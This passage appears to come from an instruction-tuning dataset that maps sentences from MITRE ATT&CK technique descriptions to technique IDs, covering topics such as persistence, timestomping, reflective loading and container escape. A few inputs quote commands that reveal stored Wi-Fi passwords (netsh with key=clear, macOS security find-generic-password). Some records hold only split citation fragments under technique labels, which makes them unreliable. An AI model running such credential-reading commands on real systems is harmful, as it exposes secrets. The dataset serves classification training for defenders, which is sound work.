"text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. ### Response: T1050."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry.", "output": "T1050", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. ### Response: T1050."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036).", "output": "T1050", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). ### Response: T1050."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM.", "output": "T1050", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. ### Response: T1050."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", "output": "T1050", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035). ### Response: T1050."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file time attributes to hide new or changes to existing files.", "output": "T1070.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file time attributes to hide new or changes to existing files. ### Response: T1070.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.", "output": "T1070.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. ### Response: T1070.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.", "output": "T1070.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. ### Response: T1070.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)", "output": "T1070.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques) ### Response: T1070.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads.", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk.", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation:", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Introducing Donut)(Citation:", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Introducing Donut)(Citation: ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process.", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process.", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation:", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Intezer ACBackdoor)(Citation:", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Intezer ACBackdoor)(Citation: ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "S1 Old Rat New Tricks)", "output": "T1620", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: S1 Old Rat New Tricks) ### Response: T1620."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several operating system administration utilities exist that can be used to gather this information.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several operating system administration utilities exist that can be used to gather this information. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation:", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.", "output": "T1016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ### Response: T1016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087),", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns. ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may collect various types of information about Wi-Fi networks from hosts.", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may collect various types of information about Wi-Fi networks from hosts. ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation:", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022)", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader) ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux)", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)", "output": "T1016.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac) ### Response: T1016.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many operating systems use signals to deliver messages to control process behavior.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many operating systems use signals to deliver messages to control process behavior. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man)", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue)", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.", "output": "T1564.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated. ### Response: T1564.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may break out of a container to gain access to the underlying host.", "output": "T1611", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may break out of a container to gain access to the underlying host. ### Response: T1611."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can allow an adversary access to other containerized resources from the host level or to the host itself.", "output": "T1611", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can allow an adversary access to other containerized resources from the host level or to the host itself. ### Response: T1611."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment.", "output": "T1611", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. ### Response: T1611."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation:", "output": "T1611", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: ### Response: T1611."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)", "output": "T1611", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask) ### Response: T1611."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.", "output": "T1611", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host. ### Response: T1611."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the 